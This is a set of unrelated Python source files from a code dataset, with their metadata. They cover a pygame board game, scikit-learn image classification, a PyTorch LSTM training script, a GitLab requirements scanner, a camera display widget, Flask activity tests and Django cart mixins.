if gamemode == 1:\n instructie = myfont.render(\"Speler 1, verzet (of niet) en sluit af met -spatie-!\", False, (255,255,0))\n select1 = Speler.Speler(Speler1.x,Speler1.y,spel_config,kleur_select,5)\n gamemode = 2\n \n elif gamemode == 2:\n finish,keyup = select1.move(event,keyup)\n if finish == 1:\n possiblemove,zelfdeplek = checkmove_speler(1)\n if possiblemove: \n #verplaats\n Speler1 = Speler.Speler(select1.x,select1.y,spel_config,kleur_speler1,10)\n select1 = Speler.Speler(Speler1.x,Speler1.y,spel_config,kleur_select,0)\n if zelfdeplek == 1:\n gamemode = 3\n else:\n gamemode = 4\n else:\n finish = 0\n instructie = myfont.render(\"Speler 1: zet niet mogelijk\", False, (255,255,0))\n \n elif gamemode == 3: #speler1: schotje plaatsen\n instructie = myfont.render(\"Speler 1: verplaats schotje. Druk x om te draaien\", False, (255,255,0))\n# schotjes.append(schotje.schotje(1,1,'h',spel_config))\n #verplaats...\n schotje_select.kleur = kleur_schotje\n finish,keyup = schotje_select.move(event,keyup)\n if finish == 1:\n possiblemove = checkmove_schotje()\n if possiblemove == 1:\n schotjes.append(schotje.schotje(schotje_select.x,schotje_select.y,schotje_select.orientatie,spel_config,kleur_schotje))\n gamemode = 4\n else:\n finish = 0\n \n elif gamemode == 4:\n instructie = myfont.render(\"Speler 2, verzet (of niet) en sluit af met -spatie-!\", False, (255,255,0))\n select2 = Speler.Speler(Speler2.x,Speler2.y,spel_config,kleur_select,5)\n gamemode = 5 \n\n elif gamemode == 5: \n finish,keyup = select2.move(event,keyup)\n if finish == 1:\n possiblemove, zelfdeplek = checkmove_speler(2)\n if possiblemove:\n Speler2 = Speler.Speler(select2.x,select2.y,spel_config,kleur_speler2,10)\n select2 = Speler.Speler(Speler2.x,Speler2.y,spel_config,kleur_select,0) \n gamemode = 1\n else:\n finish = 0\n instructie = myfont.render(\"Speler 2: zet niet mogelijk\", False, (255,255,0))\n \n \n\n\n \n \n \n\n drawall() \n gameDisplay.blit(instructie, (10, 10))\n pygame.display.flip()\n clock.tick(60)\npygame.quit()\n", "sub_path": "game_main.py", "file_name": "game_main.py", "file_ext": "py", "file_size_in_byte": 6208, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pygame.Rect", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 20, "usage_type": "attribute"}, {"api_name": "Speler.Speler", "line_number": 81, "usage_type": "call"}, {"api_name": "Speler.Speler", "line_number": 82, "usage_type": "call"}, {"api_name": "Speler.Speler", "line_number": 83, "usage_type": "call"}, {"api_name": "Speler.Speler", "line_number": 84, "usage_type": "call"}, {"api_name": "schotje.schotje", "line_number": 85, "usage_type": "call"}, {"api_name": "pygame.init", "line_number": 90, "usage_type": "call"}, {"api_name": "pygame.font.SysFont", "line_number": 91, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 91, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 94, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 94, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 95, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 95, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 96, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 96, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 103, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 103, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 104, "usage_type": "attribute"}, {"api_name": "Speler.Speler", "line_number": 108, "usage_type": "call"}, {"api_name": "Speler.Speler", "line_number": 117, "usage_type": "call"}, {"api_name": "Speler.Speler", "line_number": 118, "usage_type": "call"}, {"api_name": "schotje.schotje", "line_number": 136, "usage_type": "call"}, {"api_name": "Speler.Speler", "line_number": 143, "usage_type": "call"}, {"api_name": "Speler.Speler", "line_number": 151, "usage_type": "call"}, {"api_name": "Speler.Speler", "line_number": 152, "usage_type": "call"}, {"api_name": "pygame.display.flip", "line_number": 167, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 167, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 169, "usage_type": "call"}]} {"seq_id": "266034068", "text": "import numpy as np\nimport cv2\nimport os\nimport csv\nimport sklearn.metrics as sm\nfrom surf_image_processing import func,func2\nfrom sklearn.cluster import MiniBatchKMeans\nfrom sklearn.svm import SVC\nfrom sklearn.grid_search import GridSearchCV\nimport random\nimport warnings\nimport pickle\nfrom sklearn.naive_bayes import GaussianNB as nb\nfrom sklearn.neighbors import KNeighborsClassifier as knn\nfrom sklearn.linear_model import LogisticRegression as lr\nfrom sklearn.neural_network import MLPClassifier as mlp\nimport numpy as np\nimport sklearn.metrics as sm\n\n#initialise\npath=\"train\"\nlabel=0\nimg_descs=[]\ny=[]\n\n#utility functions\ndef perform_data_split(X, y, training_idxs, test_idxs, val_idxs):\n \"\"\"\n Split X and y into train/test/val sets\n Parameters:\n -----------\n X : eg, use img_bow_hist\n y : corresponding labels for X\n training_idxs : list/array of integers used as indicies for training rows\n test_idxs : same\n val_idxs : same\n Returns:\n --------\n X_train, X_test, X_val, y_train, y_test, y_val\n \"\"\"\n X_train = X[training_idxs]\n X_test = X[test_idxs]\n X_val = X[val_idxs]\n\n y_train = y[training_idxs]\n y_test = y[test_idxs]\n y_val = y[val_idxs]\n\n return X_train, X_test, X_val, y_train, y_test, y_val\n\ndef train_test_val_split_idxs(total_rows, percent_test, percent_val):\n \"\"\"\n Get indexes for training, test, and validation rows, given a total number of rows.\n Assumes indexes are sequential integers starting at 0: eg [0,1,2,3,...N]\n Returns:\n --------\n training_idxs, test_idxs, val_idxs\n Both lists of integers\n \"\"\"\n if percent_test + percent_val >= 1.0:\n raise ValueError('percent_test and percent_val must sum to less than 1.0')\n\n row_range = range(total_rows)\n\n no_test_rows = int(total_rows*(percent_test))\n test_idxs = np.random.choice(row_range, size=no_test_rows, replace=False)\n # remove test indexes\n row_range = [idx for idx in row_range if idx not in test_idxs]\n\n no_val_rows = int(total_rows*(percent_val))\n val_idxs = np.random.choice(row_range, size=no_val_rows, replace=False)\n # remove validation indexes\n training_idxs = [idx for idx in row_range if idx not in val_idxs]\n\n print('Train-test-val split: %i training rows, %i test rows, %i validation rows' % (len(training_idxs), len(test_idxs), len(val_idxs)))\n\n return training_idxs, test_idxs, val_idxs\n\ndef cluster_features(img_descs, training_idxs, cluster_model):\n \"\"\"\n Cluster the training features using the cluster_model\n and convert each set of descriptors in img_descs\n to a Visual Bag of Words histogram.\n Parameters:\n -----------\n X : list of lists of SIFT descriptors (img_descs)\n training_idxs : array/list of integers\n Indicies for the training rows in img_descs\n cluster_model : clustering model (eg KMeans from scikit-learn)\n The model used to cluster the SIFT features\n Returns:\n --------\n X, cluster_model :\n X has K feature columns, each column corresponding to a visual word\n cluster_model has been fit to the training set\n \"\"\"\n n_clusters = cluster_model.n_clusters\n\n # # Generate the SIFT descriptor features\n # img_descs = gen_sift_features(labeled_img_paths)\n #\n # # Generate indexes of training rows\n # total_rows = len(img_descs)\n # training_idxs, test_idxs, val_idxs = train_test_val_split_idxs(total_rows, percent_test, percent_val)\n\n # Concatenate all descriptors in the training set together\n training_descs = [img_descs[i] for i in training_idxs]\n all_train_descriptors = [desc for desc_list in training_descs for desc in desc_list]\n all_train_descriptors = np.array(all_train_descriptors)\n\n\n print ('%i descriptors before clustering' % all_train_descriptors.shape[0])\n\n # Cluster descriptors to get codebook\n print ('Using clustering model %s...' % repr(cluster_model))\n print ('Clustering on training set to get codebook of %i words' % n_clusters)\n\n # train kmeans or other cluster model on those descriptors selected above\n cluster_model.fit(all_train_descriptors)\n print ('done clustering. Using clustering model to generate BoW histograms for each image.')\n\n # compute set of cluster-reduced words for each image\n img_clustered_words = [cluster_model.predict(raw_words) for raw_words in img_descs]\n\n # finally make a histogram of clustered word counts for each image. These are the final features.\n img_bow_hist = np.array(\n [np.bincount(clustered_words, minlength=n_clusters) for clustered_words in img_clustered_words])\n\n X = img_bow_hist\n print ('done generating BoW histograms.')\n\n return X, cluster_model\n\ndef calc_accuracy(method,label_test,pred):\n print(\"accuracy score for \",method,sm.accuracy_score(label_test,pred))\n print(\"precision_score for \",method,sm.precision_score(label_test,pred,average='micro'))\n print(\"f1 score for \",method,sm.f1_score(label_test,pred,average='micro'))\n print(\"recall score for \",method,sm.recall_score(label_test,pred,average='micro'))\n\ndef predict_svm(X_train, X_test, y_train, y_test):\n svc=SVC(kernel='linear') \n print(\"svm started\")\n svc.fit(X_train,y_train)\n y_pred=svc.predict(X_test)\n calc_accuracy(\"SVM\",y_test,y_pred)\n\ndef predict_lr(X_train, X_test, y_train, y_test):\n clf = lr()\n print(\"lr started\")\n clf.fit(X_train,y_train)\n y_pred=clf.predict(X_test)\n calc_accuracy(\"Logistic regression\",y_test,y_pred)\n\n\ndef predict_nb(X_train, X_test, y_train, y_test):\n clf = nb()\n print(\"nb started\")\n clf.fit(X_train,y_train)\n y_pred=clf.predict(X_test)\n calc_accuracy(\"Naive Bayes\",y_test,y_pred)\n\n\ndef predict_knn(X_train, X_test, y_train, y_test):\n clf=knn(n_neighbors=8)\n print(\"knn started\")\n clf.fit(X_train,y_train)\n y_pred=clf.predict(X_test)\n calc_accuracy(\"K nearest neighbours\",y_test,y_pred)\n\ndef predict_mlp(X_train, X_test, y_train, y_test):\n clf=mlp()\n print(\"mlp started\")\n clf.fit(X_train,y_train)\n y_pred=clf.predict(X_test)\n calc_accuracy(\"MLP classifier\",y_test,y_pred)\n\n#creating desc for each file with label\nfor (dirpath,dirnames,filenames) in os.walk(path):\n for dirname in dirnames:\n print(dirname)\n for(direcpath,direcnames,files) in os.walk(path+\"\\\\\"+dirname):\n for file in files:\n actual_path=path+\"\\\\\\\\\"+dirname+\"\\\\\\\\\"+file\n print(actual_path)\n des=func2(actual_path)\n img_descs.append(des)\n y.append(label)\n label=label+1\n\n#finding indexes of test train and validate\ny=np.array(y)\ntraining_idxs, test_idxs, val_idxs = train_test_val_split_idxs(len(img_descs), 0.4, 0.0)\n\n#creating histogram using kmeans minibatch cluster model\nX, cluster_model = cluster_features(img_descs, training_idxs, MiniBatchKMeans(n_clusters=150))\n\n#splitting data into test, train, validate using the indexes\nX_train, X_test, X_val, y_train, y_test, y_val = perform_data_split(X, y, training_idxs, test_idxs, val_idxs)\n\n\n#using classification methods\npredict_svm(X_train, X_test,y_train, y_test)\npredict_knn(X_train, X_test,y_train, y_test)\npredict_lr(X_train, X_test,y_train, y_test)\npredict_nb(X_train, X_test,y_train, y_test)\npredict_mlp(X_train, X_test,y_train, y_test)\n", "sub_path": "Bag of Features/preprocessing_orb.py", "file_name": "preprocessing_orb.py", "file_ext": "py", "file_size_in_byte": 7310, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.random.choice", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 66, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.bincount", "line_number": 127, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 135, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 135, "usage_type": "name"}, {"api_name": "sklearn.metrics.precision_score", "line_number": 136, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 136, "usage_type": "name"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 137, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 137, "usage_type": "name"}, {"api_name": "sklearn.metrics.recall_score", "line_number": 138, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 138, "usage_type": "name"}, {"api_name": "sklearn.svm.SVC", "line_number": 141, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 148, "usage_type": "call"}, {"api_name": "sklearn.naive_bayes.GaussianNB", "line_number": 156, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 164, "usage_type": "call"}, {"api_name": "sklearn.neural_network.MLPClassifier", "line_number": 171, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 178, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 181, "usage_type": "call"}, {"api_name": "surf_image_processing.func2", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 191, "usage_type": "call"}, {"api_name": "sklearn.cluster.MiniBatchKMeans", "line_number": 195, "usage_type": "call"}]} {"seq_id": "314282359", "text": "from argparse import ArgumentParser\n\nfrom lstm import *\nfrom model import UNET\nfrom save_history import *\nfrom util import *\nimport numpy as np\nimport torch.nn as nn\nfrom modules import *\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '1,2,3'\n\n# logger = logging.getLogger(__file__).setLevel(logging.INFO)\nlogging.basicConfig(level=logging.DEBUG)\n\n\ndef train():\n database = \"CREMI\"\n parser = ArgumentParser()\n parser.add_argument(\"--train_type\", type=str, default=\"clstm\",\n help=\"unet, unet-clstm, or clstm\")\n parser.add_argument(\"--topo_attention\", type=bool, default=True,\n help=\"Add topo attention loss to train\")\n parser.add_argument(\"--dataset_path_train\", type=str, default=\"database/{0}/train-volume.tif\".format(database),\n help=\"Path or url of the dataset\")\n parser.add_argument(\"--dataset_path_label\", type=str, default=\"database/{0}/train-labels.tif\".format(database),\n help=\"Path or url of the dataset\")\n parser.add_argument(\"--dataset_cache\", type=str,\n default='dataset_cache/dataset_cache_{0}'.format(database), help=\"Path or url of the preprocessed dataset cache\")\n parser.add_argument(\"--topo_dataset_cache\", type=str,\n default='dataset_cache/dataset_cache_cp_{0}'.format(database), help=\"Path or url of the critical points dataset cache\")\n parser.add_argument(\"--save_folder\", type=str, default=\"results_clstm/{0}\".format(database),\n help=\"Path or url of the dataset\")\n # TODO: batch size enlarge, need fit the total number of input, dividable\n parser.add_argument(\"--train_batch_size\", type=int,\n default=3, help=\"Batch size for training\")\n parser.add_argument(\"--valid_batch_size\", type=int,\n default=1, help=\"Batch size for validation\")\n parser.add_argument(\"--valid_round\", type=int,\n default=2, help=\"validation part: 1, 2, 3\")\n parser.add_argument(\"--lr\", type=float,\n default=0.001, help=\"Learning rate\")\n parser.add_argument(\"--lr_topo\", type=float,\n default=0.001, help=\"Learning rate\")\n parser.add_argument(\"--n_epochs\", type=int, default=10,\n help=\"Number of training epochs\")\n parser.add_argument(\"--check_point\", type=str, default=\"/model_epoch_250.pwf\",\n help=\"Path of the pre-trained CNN\")\n parser.add_argument(\"--device\", type=str, default=\"cuda\" if torch.cuda.is_available()\n else \"cpu\", help=\"Device (cuda or cpu)\")\n parser.add_argument(\"--topo_size\", type=int, default=39, help=\"Crop size for topo input\")\n\n parser.add_argument(\"--step_size\", type=int, default=3, help=\"sequence length for LSTM\")\n\n parser.add_argument(\"--att_loss_coef\", type=float, default=0.2, help=\"Attention loss rate in total loss\")\n\n args = parser.parse_args()\n\n if args.train_type == 'unet':\n logging.info(\"---------Prepare DataSet for UNET--------\")\n trainDataset, validDataset = get_dataset(args)\n train_loader = torch.utils.data.DataLoader(dataset=trainDataset, num_workers=8,\n batch_size=args.train_batch_size,\n shuffle=True)\n val_loader = torch.utils.data.DataLoader(dataset=validDataset, num_workers=8, batch_size=args.valid_batch_size,\n shuffle=False)\n\n train_UNET(args, train_loader, val_loader)\n\n if args.train_type == 'unet-clstm':\n # UNEt -> likelihoodMap -> 3 slice (batch, 3, n, n)\n dataset = get_dataset_clstm(args) # (data, label)\n validation_split = .2\n dataset_size = len(dataset)\n indices = list(range(dataset_size))\n split = int(np.floor(validation_split * dataset_size))\n train_indices, val_indices = indices[:-split], indices[-split:]\n # print(train_indices, val_indices)\n train_sampler = torch.utils.data.Subset(dataset, train_indices)\n valid_sampler = torch.utils.data.Subset(dataset, val_indices)\n train_loader = torch.utils.data.DataLoader(dataset=train_sampler, num_workers=8,\n batch_size=args.train_batch_size,\n shuffle=True)\n val_loader = torch.utils.data.DataLoader(dataset=valid_sampler, num_workers=8, batch_size=args.valid_batch_size,\n shuffle=False)\n train_LSTM(args, train_loader, val_loader)\n\n\n if args.topo_attention:\n logging.info(\"---------Prepare DataSet for attention CLSTM train--------\")\n trainDataset, validDataset = get_dataset_topoClstm(args)\n train_loader = torch.utils.data.DataLoader(dataset=trainDataset, num_workers=8,\n batch_size=args.train_batch_size,\n shuffle=False)\n val_loader = torch.utils.data.DataLoader(dataset=validDataset, num_workers=8, batch_size=args.valid_batch_size,\n shuffle=False)\n\n train_LSTM_TopoAttention(train_loader, val_loader, args)\n return\n\n if args.train_type == 'clstm':\n logging.info(\"---------Prepare DataSet for CLSTM--------\")\n trainDataset, validDataset = get_dataset_topoClstm(args)\n train_loader = torch.utils.data.DataLoader(dataset=trainDataset, num_workers=8,\n batch_size=args.train_batch_size,\n shuffle=True)\n val_loader = torch.utils.data.DataLoader(dataset=validDataset, num_workers=8, batch_size=args.valid_batch_size,\n shuffle=False)\n\n train_LSTM_TopoAttention(train_loader, val_loader, args)\n\nif __name__ == \"__main__\":\n train()\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 6025, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn.cuda.is_available", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn.cuda", "line_number": 49, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.nn.utils.data.DataLoader", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 62, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 62, "usage_type": "name"}, {"api_name": "torch.nn.utils.data.DataLoader", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 65, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "name"}, {"api_name": "numpy.floor", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn.utils.data.Subset", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 79, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.nn.utils.data.Subset", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 80, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 80, "usage_type": "name"}, {"api_name": "torch.nn.utils.data.DataLoader", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 81, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.nn.utils.data.DataLoader", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 84, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 84, "usage_type": "name"}, {"api_name": "torch.nn.utils.data.DataLoader", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 92, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 92, "usage_type": "name"}, {"api_name": "torch.nn.utils.data.DataLoader", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 95, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 95, "usage_type": "name"}, {"api_name": "torch.nn.utils.data.DataLoader", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 104, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 104, "usage_type": "name"}, {"api_name": "torch.nn.utils.data.DataLoader", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 107, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 107, "usage_type": "name"}]} {"seq_id": "245591105", "text": "import gitlab, os, json, itertools\nfrom pprint import pprint\n\ndef glab():\n return gitlab.Gitlab(\n os.environ['GITLAB_URL'],\n private_token=os.environ['GITLAB_TOKEN']\n )\n\ndef scan_requirements():\n files = ( (p.repository_raw_blob(f['id']).decode('utf-8').strip()\n for f in p.repository_tree() if f['name'] == 'requirements.txt')\n for p in glab().projects.list(all=True, as_list=False) )\n\n req_set = set()\n for contents in itertools.chain.from_iterable(files):\n req_set.update(contents.split(\"\\n\"))\n return req_set\n\nif __name__ == '__main__':\n for e in scan_requirements():\n print(e)\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 649, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "gitlab.Gitlab", "line_number": 5, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 7, "usage_type": "attribute"}, {"api_name": "itertools.chain.from_iterable", "line_number": 16, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 16, "usage_type": "attribute"}]} {"seq_id": "372142336", "text": "# \\file display.py\n# \\author IDS Imaging Development Systems GmbH\n# \\date 2021-01-15\n# \\since 1.2.0\n#\n# \\brief The Display class implements an easy way to display images from a\n# camera in a QT widgets window. It can be used for other QT widget\n# applications as well.\n#\n# \\version 1.0.0\n#\n# Copyright (C) 2021, IDS Imaging Development Systems GmbH.\n#\n# The information in this document is subject to change without notice\n# and should not be construed as a commitment by IDS Imaging Development Systems GmbH.\n# IDS Imaging Development Systems GmbH does not assume any responsibility for any errors\n# that may appear in this document.\n#\n# This document, or source code, is provided solely as an example of how to utilize\n# IDS Imaging Development Systems GmbH software libraries in a sample application.\n# IDS Imaging Development Systems GmbH does not assume any responsibility\n# for the use or reliability of any portion of this document.\n#\n# General permission to copy or modify is hereby granted.\n\nimport math\n\nfrom PySide2.QtWidgets import QGraphicsView, QGraphicsScene, QWidget\nfrom PySide2.QtGui import QImage, QPainter\nfrom PySide2.QtCore import QRectF, Slot\n\n\nclass Display(QGraphicsView):\n def __init__(self, parent: QWidget = None):\n super().__init__(parent)\n self.__scene = CustomGraphicsScene(self)\n self.setScene(self.__scene)\n\n @Slot(QImage)\n def on_image_received(self, image: QImage):\n self.__scene.set_image(image)\n self.update()\n\n\nclass CustomGraphicsScene(QGraphicsScene):\n def __init__(self, parent: Display = None):\n super().__init__(parent)\n self.__parent = parent\n self.__image = QImage()\n\n def set_image(self, image: QImage):\n self.__image = image\n self.update()\n\n def drawBackground(self, painter: QPainter, rect: QRectF):\n # Display size\n display_width = self.__parent.width()\n display_height = self.__parent.height()\n\n # Image size\n image_width = self.__image.width()\n image_height = self.__image.height()\n\n # Return if we don't have an image yet\n if image_width == 0 or image_height == 0:\n return\n\n # Calculate aspect ratio of display\n ratio1 = display_width / display_height\n # Calculate aspect ratio of image\n ratio2 = image_width / image_height\n\n if ratio1 > ratio2:\n # The height with must fit to the display height.So h remains and w must be scaled down\n image_width = display_height * ratio2\n image_height = display_height\n else:\n # The image with must fit to the display width. So w remains and h must be scaled down\n image_width = display_width\n image_height = display_height / ratio2\n\n image_pos_x = -1.0 * (image_width / 2.0)\n image_pox_y = -1.0 * (image_height / 2.0)\n\n # Remove digits after point\n image_pos_x = math.trunc(image_pos_x)\n image_pox_y = math.trunc(image_pox_y)\n\n rect = QRectF(image_pos_x, image_pox_y, image_width, image_height)\n\n painter.drawImage(rect, self.__image)\n", "sub_path": "display.py", "file_name": "display.py", "file_ext": "py", "file_size_in_byte": 3165, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "PySide2.QtWidgets.QGraphicsView", "line_number": 33, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QWidget", "line_number": 34, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QImage", "line_number": 40, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Slot", "line_number": 39, "usage_type": "call"}, {"api_name": "PySide2.QtGui.QImage", "line_number": 39, "usage_type": "argument"}, {"api_name": "PySide2.QtWidgets.QGraphicsScene", "line_number": 45, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QImage", "line_number": 49, "usage_type": "call"}, {"api_name": "PySide2.QtGui.QImage", "line_number": 51, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QPainter", "line_number": 55, "usage_type": "name"}, {"api_name": "PySide2.QtCore.QRectF", "line_number": 55, "usage_type": "name"}, {"api_name": "math.trunc", "line_number": 86, "usage_type": "call"}, {"api_name": "math.trunc", "line_number": 87, "usage_type": "call"}, {"api_name": "PySide2.QtCore.QRectF", "line_number": 89, "usage_type": "call"}]} {"seq_id": "397532477", "text": "import pytest\n\nimport requests\nimport flux\n\nfrom flask_app import models\n\n\ndef test_activity_by_user(client, testuser_id, real_login):\n assert _get_activities(client, {'user_id': testuser_id}) == []\n\n\ndef test_investigate_activity(client, ended_session, real_login):\n ended_session.toggle_investigated()\n [a1] = _get_activities(client, {'session_id': ended_session.id})\n assert a1['action'] == 'investigated'\n flux.current_timeline.sleep(1)\n ended_session.toggle_investigated()\n [a1, a2] = _get_activities(client, {'session_id': ended_session.id})\n assert a1['action'] == 'investigated'\n assert a2['action'] == 'uninvestigated'\n assert a1['timestamp'] < a2['timestamp']\n\n\ndef test_archive_activity(client, ended_session, real_login, moderator_role):\n ended_session.toggle_archived()\n [a1] = _get_activities(client, {'session_id': ended_session.id})\n assert a1['action'] == 'archived'\n flux.current_timeline.sleep(1)\n ended_session.toggle_archived()\n [a1, a2] = _get_activities(client, {'session_id': ended_session.id})\n assert a1['action'] == 'archived'\n assert a2['action'] == 'unarchived'\n assert a1['timestamp'] < a2['timestamp']\n\n\ndef test_comment_activity(client, commentable, real_login):\n comment = 'comment here'\n commentable.post_comment(comment)\n [a1] = _get_activities(client, commentable)\n assert a1['action'] == 'commented'\n assert a1['text'] == comment\n assert commentable.refresh().num_comments == 1\n\n\ndef test_user_last_activity(client, testuser_id, db_context):\n s = client.report_session_start()\n start_time = flux.current_timeline.time()\n\n def get_last_active():\n with db_context():\n return models.User.query.get(testuser_id).last_activity\n\n l1 = get_last_active()\n assert l1 == start_time\n\n flux.current_timeline.sleep(1)\n\n _ = s.get_metadata()\n l2 = get_last_active()\n assert l2 == l1\n\n\ndef test_delete_comment(commentable, real_login, client):\n pytest.skip('')\n\n\ndef _get_activities(client, params):\n if not isinstance(params, dict):\n params = {'{}_id'.format(params.type): params.id}\n\n return client.api.session.get(\n client.api.url.add_path('rest/activities'),\n params=params).json()['activities']\n", "sub_path": "tests/test_activity.py", "file_name": "test_activity.py", "file_ext": "py", "file_size_in_byte": 2272, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flux.current_timeline.sleep", "line_number": 17, "usage_type": "call"}, {"api_name": "flux.current_timeline", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flux.current_timeline.sleep", "line_number": 29, "usage_type": "call"}, {"api_name": "flux.current_timeline", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flux.current_timeline.time", "line_number": 48, "usage_type": "call"}, {"api_name": "flux.current_timeline", "line_number": 48, "usage_type": "attribute"}, {"api_name": "flask_app.models.User.query.get", "line_number": 52, "usage_type": "call"}, {"api_name": "flask_app.models.User", "line_number": 52, "usage_type": "attribute"}, {"api_name": "flask_app.models", "line_number": 52, "usage_type": "name"}, {"api_name": "flux.current_timeline.sleep", "line_number": 57, "usage_type": "call"}, {"api_name": "flux.current_timeline", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pytest.skip", "line_number": 65, "usage_type": "call"}]} {"seq_id": "232875373", "text": "from django.views.generic import View\n\nfrom mainapp.models import GlobalCategory, Customer, Cart\n\n\nclass GetCategorysMixin(View):\n\n def dispatch(self, request, *args, **kwargs):\n self.g_categorys = GlobalCategory.objects.all()\n return super().dispatch(request, *args, **kwargs)\n\nclass GetCurtMixin(View):\n\n def dispatch(self, request, *args, **kwargs):\n if request.user.is_authenticated:\n customer = Customer.objects.get(user=request.user)\n cart = Cart.objects.filter(owner=customer, ordered=False).first()\n if not cart:\n cart = Cart.objects.create(owner=customer)\n self.cart = cart\n else:\n self.cart = None\n\n return super().dispatch(request, *args, **kwargs)\n", "sub_path": "mainapp/mixins.py", "file_name": "mixins.py", "file_ext": "py", "file_size_in_byte": 771, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.views.generic.View", "line_number": 6, "usage_type": "name"}, {"api_name": "mainapp.models.GlobalCategory.objects.all", "line_number": 9, "usage_type": "call"}, {"api_name": "mainapp.models.GlobalCategory.objects", "line_number": 9, "usage_type": "attribute"}, {"api_name": "mainapp.models.GlobalCategory", "line_number": 9, "usage_type": "name"}, {"api_name": "django.views.generic.View", "line_number": 12, "usage_type": "name"}, {"api_name": "mainapp.models.Customer.objects.get", "line_number": 16, "usage_type": "call"}, {"api_name": "mainapp.models.Customer.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "mainapp.models.Customer", "line_number": 16, "usage_type": "name"}, {"api_name": "mainapp.models.Cart.objects.filter", "line_number": 17, "usage_type": "call"}, {"api_name": "mainapp.models.Cart.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "mainapp.models.Cart", "line_number": 17, "usage_type": "name"}, {"api_name": "mainapp.models.Cart.objects.create", "line_number": 19, "usage_type": "call"}, {"api_name": 